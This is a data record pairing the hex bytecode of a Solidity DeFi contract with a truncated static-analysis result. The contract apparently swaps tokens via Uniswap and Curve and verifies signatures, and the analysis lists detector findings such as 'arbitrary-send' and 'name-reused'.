f565b61a22681565b60385481565b6037546001600160a01b031681565b7f0a9a7626b3a3b7a2884216f2c1b5e2e26350408316c796f08fe9a4610b96f7c0805490811561087c576040805162461bcd60e51b815260206004820152601b60248201527a31b0b73737ba10393ab7103ab833b930b23290333ab731ba34b7b760291b604482015290519081900360640190fd5b8281556108b3600080516020614a34833981519152737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160fe1b03612150565b505050565b6000805a90506108c661483f565b6001600160a01b038716600080516020614a34833981519152148061090157506001600160a01b038716600080516020614a14833981519152145b8061092857506001600160a01b03871673c4e15973e6ff2a35cc804c2cf9d2a1b817a8b40f145b8061094957506001600160a01b03871660008051602061495b833981519152145b8061095b57506001600160a01b038716155b61099f576040805162461bcd60e51b815260206004820152601060248201526f21617070726f7665642d6d6f64756c6560801b604482015290519081900360640190fd5b6040518061012001604052808d6001600160a01b031681526020018c6001600160a01b031681526020018981526020018b8152602001886001600160a01b031681526020018e6001600160a01b0316815260200186815260200160008152602001610a08612263565b905290506000610a17826122bd565b905073e4b679400f0f267212d5d812b95f58c83243ee716001600160a01b031663159ab14d8360000151846040015185608001518660c0015160405160200180856001600160a01b03168152602001848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610ab4578181015183820152602001610a9c565b50505050905090810190601f168015610ae15780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052805190602001208c8a896040518563ffffffff1660e01b81526004018085815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610b60578181015183820152602001610b48565b50505050905090810190601f168015610b8d5780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b158015610baf57600080fd5b505af1158015610bc3573d6000803e3d6000fd5b505050506040513d6020811015610bd957600080fd5b505160e08301526001600160a01b038816600080516020614a3483398151915214610cb9576001600160a01b03881615610c9c576001600160a01b038816600080516020614a1483398151915214610c7f576001600160a01b03881673c4e15973e6ff2a35cc804c2cf9d2a1b817a8b40f14610c6357610c5e8260e001516001612382565b610c7a565b610c7a610c758360e0015160036123a2565b6123b4565b610c97565b610c97610c918360e001516001612382565b8e612770565b610cb4565b610cb4610cae8360e001516001612382565b8e6129ca565b610cd0565b610cd0610ccb8360e001516001612382565b612a5a565b93506001600160a01b038816600080516020614a1483398151915214801590610d0157506001600160a01b03881615155b15610d1a57610d1a6001600160a01b0389168e86612c5f565b326001600160a01b03166108fc610d60610d5a603b54610d4e3a610d54896101000151610d4e61a226610d4e5a8f90612cb1565b90612d13565b90612d6b565b47612dc4565b6040518115909202916000818181858888f19350505050158015610d88573d6000803e3d6000fd5b505050509a9950505050505050505050565b600054610100900460ff1680610db35750610db3612dda565b80610dc1575060005460ff16155b610dfc5760405162461bcd60e51b815260040180806020018281038252602e81526020018061497b602e913960400191505060405180910390fd5b600054610100900460ff16158015610e27576000805460ff1961ff0019909116610100171660011790555b6608e1bc9bf04000603555660e35fa931a0000603a556706f05b59d3b20000603855603680546001600160a01b038086166001600160a01b0319928316179092556037805492851692909116919091179055610e8d670de0b6b3a76400006103e8612deb565b603b55610ec460008051602061495b83398151915273e4b679400f0f267212d5d812b95f58c83243ee716001600160fe1b03612150565b610ef260008051602061495b833981519152600080516020614a798339815191526001600160fe1b03612150565b610f20600080516020614a34833981519152600080516020614a798339815191526001600160fe1b03612150565b610f54600080516020614a348339815191527380466c64868e1ab14a1ddf27a676c3fcbe638fe56001600160fe1b03612150565b610f8e7349849c98ae39fff122806c06791fa73784fb3675736def55d2e18486b9ddfaa075bc4e4ee0b28c15456001600160fe1b03612150565b610fc8736def55d2e18486b9ddfaa075bc4e4ee0b28c15457341671ba1abcba387b9b2b752c205e22e916be6e36001600160fe1b03612150565b610ffc60008051602061495b833981519152737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160fe1b03612150565b611030600080516020614a14833981519152737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160fe1b03612150565b600080516020614ac38339815191527f98da2c5e4c6b1db946694570273b859a6e4083ccc8faa155edfc4c54eb3cfd736000805160206148ce833981519152611077612e4f565b604080516020808201969096528082019490945260608401929092526080830152600080516020614a3483398151915260a0808401919091528151808403909101815260c090920190528051910120603d55600080516020614ac38339815191527f2ebd54194914126698f04c81e3945e63f9a04cb5b45eb55794ad7b23ebf8a0f76000805160206148ce833981519152611110612e4f565b60408051602080820196909652808201949094526060840192909252608083015273c4e15973e6ff2a35cc804c2cf9d2a1b817a8b40f60a0808401919091528151808403909101815260c090920190528051910120603e5580156108b3576000805461ff0019169055505050565b600061119e61119961119234603a54612e53565b3490612cb1565b612e71565b604080516338463cff60e01b8152602481018390526004810191825284516044820152845192935073e4b679400f0f267212d5d812b95f58c83243ee71926338463cff9286928692829160640190602086019080838360005b8381101561120f5781810151838201526020016111f7565b50505050905090810190601f16801561123c5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b15801561125c57600080fd5b505af1158015611270573d6000803e3d6000fd5b505050506040513d602081101561128657600080fd5b509092915050565b6036546001600160a01b031681565b603c6020526000908152604090205481565b603b5481565b6036546001600160a01b03163314611302576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b603680546001600160a01b0319166001600160a01b0392909216919091179055565b61a09e81565b6036546001600160a01b03163314611377576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b603780546001600160a01b0319166001600160a01b0392909216919091179055565b6113a16132df565b604080516370a0823160e01b815230600482015290516114229160008051602061495b833981519152916370a0823191602480820192602092909190829003018186803b1580156113f157600080fd5b505afa158015611405573d6000803e3d6000fd5b505050506040513d602081101561141b57600080fd5b5051612a5a565b5061142b613341565b5047674563918244f400008111156114e0576000674563918244f4000082039050600061145a82603854612e53565b6036546040519192506001600160a01b031690819083156108fc029084906000818181858888f19350505050158015611497573d6000803e3d6000fd5b506037546001600160a01b0316806108fc6114b28686612cb1565b6040518115909202916000818181858888f193505050501580156114da573d6000803e3d6000fd5b50505050505b50565b60355481565b60006040518061012001604052808b6001600160a01b031681526020018a6001600160a01b03168152602001878152602001898152602001866001600160a01b031681526020018c6001600160a01b031681526020018481526020016000815260200160008152509050600061155e826122bd565b9050600073e4b679400f0f267212d5d812b95f58c83243ee716001600160a01b031663159ab14d8460000151856040015186608001518760c0015160405160200180856001600160a01b03168152602001848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156115fd5781810151838201526020016115e5565b50505050905090810190601f16801561162a5780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052805190602001208b89886040518563ffffffff1660e01b81526004018085815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156116a9578181015183820152602001611691565b50505050905090810190601f1680156116d65780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b1580156116f857600080fd5b505af115801561170c573d6000803e3d6000fd5b505050506040513d602081101561172257600080fd5b5051905061173a6001600160a01b038c168d83612c5f565b50505050505050505050505050565b600080604051806101a00160405280896001600160a01b03168152602001886001600160a01b0316815260200187815260200186815260200160008152602001600081526020015a81526000602082018190526040820181905260608201819052608082015260a0810186905260c00184905290506117c6612263565b60e08201526060810151421061180f576040805162461bcd60e51b815260206004820152600960248201526821646561646c696e6560b81b604482015290519081900360640190fd5b60208101516001600160a01b0316600080516020614a348339815191521415611984576001600160a01b038089166000908152603c6020818152604080842054608087015285519094168352522080546001019055603d546118809061187590836134db565b8261018001516135a4565b6001600160a01b031681600001516001600160a01b0316146118d6576040805162461bcd60e51b815260206004820152600a602482015269217369676e617475726560b01b604482015290519081900360640190fd5b602080820151825160408085015181516323b872dd60e01b81526001600160a01b0393841660048201523060248201526044810191909152905191909216926323b872dd92606480820193918290030181600087803b15801561193857600080fd5b505af115801561194c573d6000803e3d6000fd5b505050506040513d602081101561196257600080fd5b5050604081015161197d9061197890600161361a565b61362c565b9150611f9d565b6001600160a01b03871673c4e15973e6ff2a35cc804c2cf9d2a1b817a8b40f1415611ae6576001600160a01b0388166000818152603c602081815260408320805460808701819052949093525260019091019055603e546119e99061187590836134db565b6001600160a01b031681600001516001600160a01b031614611a3f576040805162461bcd60e51b815260206004820152600a602482015269217369676e617475726560b01b604482015290519081900360640190fd5b602080820151825160408085015181516323b872dd60e01b81526001600160a01b0393841660048201523060248201526044810191909152905191909216926323b872dd92606480820193918290030181600087803b158015611aa157600080fd5b505af1158015611ab5573d6000803e3d6000fd5b505050506040513d6020811015611acb57600080fd5b5050604081015161197d90611adf906137f7565b6003613bea565b60208101516001600160a01b031660008051602061495b8339815191521415611d225780602001516001600160a01b0316637ecebe0082600001516040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015611b5e57600080fd5b505afa158015611b72573d6000803e3d6000fd5b505050506040513d6020811015611b8857600080fd5b50516080820152611b9881613bfc565b60a0820152610180810151611bac90613ce1565b6101408401819052610120840182905260ff909216610100840181905260208401518451608086015160a0870151604080516323f2ebc360e21b81526001600160a01b039485166004820152306024820152604481019390935260648301919091526001608483015260a482019490945260c481019490945260e48401949094529051921691638fcbaf0c916101048082019260009290919082900301818387803b158015611c5a57600080fd5b505af1158015611c6e573d6000803e3d6000fd5b5050505080602001516001600160a01b03166323b872dd82600001513084604001516040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b031681526020018281526020019350505050602060405180830381600087803b158015611ce657600080fd5b505af1158015611cfa573d6000803e3d6000fd5b505050506040513d6020811015611d1057600080fd5b5050604081015161197d90600161361a565b60208101516001600160a01b0316600080516020614a148339815191521415611f5d5780602001516001600160a01b0316637ecebe0082600001516040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015611d9a57600080fd5b505afa158015611dae573d6000803e3d6000fd5b505050506040513d6020811015611dc457600080fd5b50516080820152611dd481613bfc565b60a0820152610180810151611de890613ce1565b6101408401819052610120840182905260ff90921661010084018190526020840151845160408087015160a0880151825163d505accf60e01b81526001600160a01b03948516600482015230602482015260448101929092526064820152608481019490945260a484019490945260c48301949094529151929091169163d505accf9160e48082019260009290919082900301818387803b158015611e8c57600080fd5b505af1158015611ea0573d6000803e3d6000fd5b5050505080602001516001600160a01b03166323b872dd82600001513084604001516040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b031681526020018281526020019350505050602060405180830381600087803b158015611f1857600080fd5b505af1158015611f2c573d6000803e3d6000fd5b505050506040513d6020811015611f4257600080fd5b5050604081015161197d90611f5690613d3e565b600161361a565b6040805162461bcd60e51b815260206004820152601060248201526f085cdd5c1c1bdc9d19590b585cdcd95d60821b604482015290519081900360640190fd5b610160810151604080516338463cff60e01b8152602481018590526004810191825282516044820152825173e4b679400f0f267212d5d812b95f58c83243ee71936338463cff9390928792829160640190602086019080838360005b83811015612011578181015183820152602001611ff9565b50505050905090810190601f16801561203e5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b15801561205e57600080fd5b505af1158015612072573d6000803e3d6000fd5b505050506040513d602081101561208857600080fd5b5050603b5460e082015132916108fc916120bb91610d5a91610d4e903a90610d54908361a09e815a60c08e015190612cb1565b6040518115909202916000818181858888f193505050501580156120e3573d6000803e3d6000fd5b50509695505050505050565b6036546001600160a01b0316331461213c576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b603893909355603591909155603a55603b55565b8015806121d6575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b1580156121a857600080fd5b505afa1580156121bc573d6000803e3d6000fd5b505050506040513d60208110156121d257600080fd5b5051155b6122115760405162461bcd60e51b8152600401808060200182810382526036815260200180614ae36036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b1790526108b3908490613f88565b60006122ba565b828110156122b657803560005b6101008110801561228d5750600019811b821615155b156122ac5760ff82821c16156122a4576040860395505b600801612277565b505060200161226a565b5050505b90565b6000806123797fdb76b3b6f252d5a7418b86aea25c87126f450d18491ccb7b8427fe0e9697a31c846020015185606001518660a00151876080015188604001518960c001518051906020012060405160200180888152602001876001600160a01b03168152602001868152602001856001600160a01b03168152602001846001600160a01b0316815260200183815260200182815260200197505050505050505060405160208183030381529060405280519060200120614039565b9150505b919050565b600061239b6123948460355485614085565b8490612cb1565b9392505050565b600061239b61239484603554856140bf565b60006123be6148af565b82815260408051600091600080516020614a7983398151915291630b4c7e4d60e01b918591859160249091019081908490808383875b8381101561240c5781810151838201526020016123f4565b505050509190910192835250506040805180830381526020928301825291820180516001600160e01b03166001600160e01b0319909516949094178452518151919390925082918083835b602083106124765780518252601f199092019160209182019101612457565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146124d8576040519150601f19603f3d011682016040523d82523d6000602084013e6124dd565b606091505b505090508061251c576040805162461bcd60e51b815260206004820152600660248201526521637572766560d01b604482015290519081900360640190fd5b604080516370a0823160e01b81523060048201529051736def55d2e18486b9ddfaa075bc4e4ee0b28c15459163b6b55f25917349849c98ae39fff122806c06791fa73784fb3675916370a08231916024808301926020929190829003018186803b15801561258957600080fd5b505afa15801561259d573d6000803e3d6000fd5b505050506040513d60208110156125b357600080fd5b5051604080516001600160e01b031960e085901b168152600481019290925251602480830192600092919082900301818387803b1580156125f357600080fd5b505af1158015612607573d6000803e3d6000fd5b5050604080516370a0823160e01b815230600482015290517341671ba1abcba387b9b2b752c205e22e916be6e3935063e6d37b889250600091736def55d2e18486b9ddfaa075bc4e4ee0b28c1545916370a0823191602480820192602092909190829003018186803b15801561267c57600080fd5b505afa158015612690573d6000803e3d6000fd5b505050506040513d60208110156126a657600080fd5b50516040805160008082526020820190925290506040518463ffffffff1660e01b81526004018084815260200183815260200180602001828103825283818151815260200191508051906020019060200280838360005b838110156127155781810151838201526020016126fd565b50505050905001945050505050602060405180830381600087803b15801561273c57600080fd5b505af1158015612750573d6000803e3d6000fd5b505050506040513d602081101561276657600080fd5b5051949350505050565b60008061277c84612a5a565b6040805160028082526060820183529293506000929091602083019080368337019050509050600080516020614a34833981519152816000815181106127be57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050600080516020614a14833981519152816001815181106127fa57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03166338ed17398460018589426001016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156128b85781810151838201526020016128a0565b505050509050019650505050505050600060405180830381600087803b1580156128e157600080fd5b505af11580156128f5573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561291e57600080fd5b8101908080516040519392919084600160201b82111561293d57600080fd5b90830190602082018581111561295257600080fd5b82518660208202830111600160201b8211171561296e57600080fd5b82525081516020918201928201910280838360005b8381101561299b578181015183820152602001612983565b505050509050016040525050509050806001815181106129b757fe5b6020026020010151935050505092915050565b6000806129d684612a5a565b6040805160028082526060820183529293506000929091602083019080368337019050509050600080516020614a3483398151915281600081518110612a1857fe5b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106127fa57fe5b604080516370a0823160e01b815230600482015290516000918291600080516020614a34833981519152916370a08231916024808301926020929190829003018186803b158015612aaa57600080fd5b505afa158015612abe573d6000803e3d6000fd5b505050506040513d6020811015612ad457600080fd5b50516040805160006024820181905260016044830152606480830188905283518084039091018152608490920183526020820180516001600160e01b0316630f7c084960e21b178152925182519495509093600080516020614a798339815191529382918083835b60208310612b5b5780518252601f199092019160209182019101612b3c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612bbd576040519150601f19603f3d011682016040523d82523d6000602084013e612bc2565b606091505b50509050612c5782600080516020614a348339815191526001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612c2557600080fd5b505afa158015612c39573d6000803e3d6000fd5b505050506040513d6020811015612c4f57600080fd5b505190612cb1565b949350505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526108b3908490613f88565b600082821115612d08576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b508082035b92915050565b60008282018381101561239b576040805162461bcd60e51b815260206004820152601b60248201527a536166654d6174683a206164646974696f6e206f766572666c6f7760281b604482015290519081900360640190fd5b600082612d7a57506000612d0d565b82820282848281612d8757fe5b041461239b5760405162461bcd60e51b81526004018080602001828103825260218152602001806149f36021913960400191505060405180910390fd5b6000818310612dd3578161239b565b5090919050565b6000612de5306140f3565b15905090565b6000808211612e3e576040805162461bcd60e51b815260206004820152601a602482015279536166654d6174683a206469766973696f6e206279207a65726f60301b604482015290519081900360640190fd5b818381612e4757fe5b049392505050565b4690565b600061239b670de0b6b3a7640000612e6b8585612d6b565b90612deb565b604080516370a0823160e01b81523060048201529051600091829160008051602061495b833981519152916370a08231916024808301926020929190829003018186803b158015612ec157600080fd5b505afa158015612ed5573d6000803e3d6000fd5b505050506040513d6020811015612eeb57600080fd5b5051604080516002808252606082018352929350600092909160208301908036833701905050905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600081518110612f3557fe5b60200260200101906001600160a01b031690816001600160a01b031681525050600080516020614a3483398151915281600181518110612f7157fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316637ff36ab58660018530426001016040518663ffffffff1660e01b81526004018085815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015613029578181015183820152602001613011565b50505050905001955050505050506000604051808303818588803b15801561305057600080fd5b505af1158015613064573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f19168201604052602081101561308e57600080fd5b8101908080516040519392919084600160201b8211156130ad57600080fd5b9083019060208201858111156130c257600080fd5b82518660208202830111600160201b821117156130de57600080fd5b82525081516020918201928201910280838360005b8381101561310b5781810151838201526020016130f3565b5050505090500160405250505090506000600080516020614a798339815191526001600160a01b0316633df0212460e01b600160008560018151811061314d57fe5b6020026020010151600160405160240180858152602001848152602001838152602001828152602001945050505050604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b0383818316178352505050506040518082805190602001908083835b602083106131de5780518252601f1990920191602091820191016131bf565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613240576040519150601f19603f3d011682016040523d82523d6000602084013e613245565b606091505b5050905080613284576040805162461bcd60e51b815260206004820152600660248201526521637572766560d01b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516132d591869160008051602061495b833981519152916370a08231916024808301926020929190829003018186803b158015612c2557600080fd5b9695505050505050565b600080613323735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc260008051602061495b8339815191526140f9565b9150915061333a670de0b6b3a764000083836141c0565b6039555050565b604080516370a0823160e01b815230600482015290516000918291600080516020614a34833981519152916370a08231916024808301926020929190829003018186803b15801561339157600080fd5b505afa1580156133a5573d6000803e3d6000fd5b505050506040513d60208110156133bb57600080fd5b505160408051600160248201819052600260448301526064820184905260006084830181905260a4808401929092528351808403909201825260c490920183526020810180516001600160e01b031663394747c560e01b17815292518151949550479492937380466c64868e1ab14a1ddf27a676c3fcbe638fe5938291908083835b6020831061345c5780518252601f19909201916020918201910161343d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146134be576040519150601f19603f3d011682016040523d82523d6000602084013e6134c3565b606091505b509091506134d390504783612cb1565b935050505090565b6000827fea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb60001b836000015130856080015161351687613bfc565b604080516020808201979097526001600160a01b0395861681830152939094166060840152608083019190915260a0820152600160c0808301919091528251808303909101815260e08201835280519084012061190160f01b610100830152610102820194909452610122808201949094528151808203909401845261014201905281519101209392505050565b600081516041146135fc576040805162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015290519081900360640190fd5b60208201516040830151606084015160001a6132d586828585614266565b600061239b61239484603a5485614085565b604080516370a0823160e01b81523060048201529051600091829160008051602061495b833981519152916370a08231916024808301926020929190829003018186803b15801561367c57600080fd5b505afa158015613690573d6000803e3d6000fd5b505050506040513d60208110156136a657600080fd5b50516040805160016024820152600060448201819052606480830188905283518084039091018152608490920183526020820180516001600160e01b0316630f7c084960e21b178152925182519495509093600080516020614a798339815191529382918083835b6020831061372d5780518252601f19909201916020918201910161370e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461378f576040519150601f19603f3d011682016040523d82523d6000602084013e613794565b606091505b50509050612c578260008051602061495b8339815191526001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612c2557600080fd5b604080516370a0823160e01b81523060048201529051600091829160008051602061495b833981519152916370a08231916024808301926020929190829003018186803b15801561384757600080fd5b505afa15801561385b573d6000803e3d6000fd5b505050506040513d602081101561387157600080fd5b505160408051637cbc237360e01b81526000600482018190526024820187905291519293507341671ba1abcba387b9b2b752c205e22e916be6e392637cbc237392604480840193602093929083900390910190829087803b1580156138d557600080fd5b505af11580156138e9573d6000803e3d6000fd5b505050506040513d60208110156138ff57600080fd5b5050604080516370a0823160e01b81523060048201529051736def55d2e18486b9ddfaa075bc4e4ee0b28c154591632e1a7d4d9183916370a08231916024808301926020929190829003018186803b15801561395a57600080fd5b505afa15801561396e573d6000803e3d6000fd5b505050506040513d602081101561398457600080fd5b5051604080516001600160e01b031960e085901b168152600481019290925251602480830192600092919082900301818387803b1580156139c457600080fd5b505af11580156139d8573d6000803e3d6000fd5b5050604080516370a0823160e01b8152306004820152905160009350600080516020614a798339815191529250630d2680e960e11b917349849c98ae39fff122806c06791fa73784fb3675916370a0823191602480820192602092909190829003018186803b158015613a4a57600080fd5b505afa158015613a5e573d6000803e3d6000fd5b505050506040513d6020811015613a7457600080fd5b505160408051602481019290925260006044830181905260648084019190915281518084039091018152608490920181526020820180516001600160e01b03166001600160e01b0319909416939093178352518151919290918291908083835b60208310613af35780518252601f199092019160209182019101613ad4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613b55576040519150601f19603f3d011682016040523d82523d6000602084013e613b5a565b606091505b5050905080613b99576040805162461bcd60e51b815260206004820152600660248201526521637572766560d01b604482015290519081900360640190fd5b604080516370a0823160e01b81523060048201529051612c5791849160008051602061495b833981519152916370a08231916024808301926020929190829003018186803b158015612c2557600080fd5b600061239b61239484603a54856140bf565b6000816020015182604001518360600151846080015185610160015160405160200180866001600160a01b031660601b815260140185815260200184815260200183815260200182805190602001908083835b60208310613c6e5780518252601f199092019160209182019101613c4f565b6001836020036101000a038019825116818451168082178552505050505050905001955050505050506040516020818303038152906040528051906020012060001c90505b4281101561237d57604080516020808201939093528151808203840181529082019091528051910120613cb3565b6000806000835160411415613d0c5750505060208101516040820151606083015160001a9190613d37565b835160401415613d37575050506020810151604082015160ff81901c601b0191906001600160ff1b03165b9193909250565b60408051600280825260608201835260009283929190602083019080368337019050509050600080516020614a1483398151915281600081518110613d7f57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050600080516020614a3483398151915281600181518110613dbb57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03166338ed17398560018530426001016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015613e79578181015183820152602001613e61565b505050509050019650505050505050600060405180830381600087803b158015613ea257600080fd5b505af1158015613eb6573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015613edf57600080fd5b8101908080516040519392919084600160201b821115613efe57600080fd5b908301906020820185811115613f1357600080fd5b82518660208202830111600160201b82111715613f2f57600080fd5b82525081516020918201928201910280838360005b83811015613f5c578181015183820152602001613f44565b505050509050016040525050509050612c5781600181518110613f7b57fe5b602002602001015161362c565b6000613fdd826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166143d59092919063ffffffff16565b8051909150156108b357808060200190516020811015613ffc57600080fd5b50516108b35760405162461bcd60e51b815260040180806020018281038252602a815260200180614a99602a913960400191505060405180910390fd5b60006140436143e4565b82604051602001808061190160f01b81525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050919050565b6000612c576140948585612e53565b610d4e6140b96140af3a603b54612deb90919063ffffffff16565b6205a55090612d13565b3a614412565b6000612c576140ce8585612e53565b610d4e6140b96140e93a603b54612deb90919063ffffffff16565b620aae6090612d13565b3b151590565b60008060006141088585614439565b509050600080614119888888614517565b6001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561415157600080fd5b505afa158015614165573d6000803e3d6000fd5b505050506040513d606081101561417b57600080fd5b5080516020909101516001600160701b0391821693501690506001600160a01b03878116908416146141ae5780826141b1565b81815b90999098509650505050505050565b60008084116142005760405162461bcd60e51b8152600401808060200182810382526025815260200180614a546025913960400191505060405180910390fd5b6000831180156142105750600082115b61424b5760405162461bcd60e51b81526004018080602001828103825260288152602001806149a96028913960400191505060405180910390fd5b826142568584612d6b565b8161425d57fe5b04949350505050565b60006fa2a8918ca85bafe22016d0b997e4df60600160ff1b038211156142bd5760405162461bcd60e51b81526004018080602001828103825260228152602001806149136022913960400191505060405180910390fd5b8360ff16601b14806142d257508360ff16601c145b61430d5760405162461bcd60e51b81526004018080602001828103825260228152602001806149d16022913960400191505060405180910390fd5b600060018686868660405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015614369573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166143cc576040805162461bcd60e51b815260206004820152601860248201527745434453413a20696e76616c6964207369676e617475726560401b604482015290519081900360640190fd5b95945050505050565b6060612c5784846000856145d2565b600061440d600080516020614ac383398151915261440061472d565b614408614733565b614739565b905090565b600061239b670de0b6b3a7640000612e6b603954610d543a88612d6b90919063ffffffff16565b600080826001600160a01b0316846001600160a01b0316141561448d5760405162461bcd60e51b81526004018080602001828103825260258152602001806148ee6025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b0316106144ad5782846144b0565b83835b90925090506001600160a01b038216614510576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b60008060006145268585614439565b604080516001600160601b0319606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b6060824710156146135760405162461bcd60e51b81526004018080602001828103825260268152602001806149356026913960400191505060405180910390fd5b61461c856140f3565b61466d576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b602083106146ab5780518252601f19909201916020918201910161468c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461470d576040519150601f19603f3d011682016040523d82523d6000602084013e614712565b606091505b509150915061472282828661479b565b979650505050505050565b60015490565b60025490565b6000838383614746612e4f565b3060405160200180868152602001858152602001848152602001838152602001826001600160a01b03168152602001955050505050506040516020818303038152906040528051906020012090509392505050565b606083156147aa57508161239b565b8251156147ba5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156148045781810151838201526020016147ec565b50505050905090810190601f1680156148315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b60405180610120016040528060006001600160a01b0316815260200160006001600160a01b03168152602001600081526020016000815260200160006001600160a01b0316815260200160006001600160a01b031681526020016060815260200160008152602001600081525090565b6040518060400160405280600290602082028036833750919291505056fec89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6556e697377617056324c6962726172793a204944454e544943414c5f41444452455353455345434453413a20696e76616c6964207369676e6174757265202773272076616c7565416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c000000000000000000000000eb4c2781e4eba804ce9a9803c67d0893436bb27d496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564556e697377617056324c6962726172793a20494e53554646494349454e545f4c495155494449545945434453413a20696e76616c6964207369676e6174757265202776272076616c7565536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb480000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599556e697377617056324c6962726172793a20494e53554646494349454e545f414d4f554e5400000000000000000000000093054188d876f558f4a66b2ef1d97d16edf0895b5361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565648b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a2646970667358221220dc8576029c3529c758d47684cf3d073f620013a490e87804d30bb233113cd56564736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "boolean-cst", "impact": "Medium", "confidence": "Medium"}, {"check": "name-reused", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": 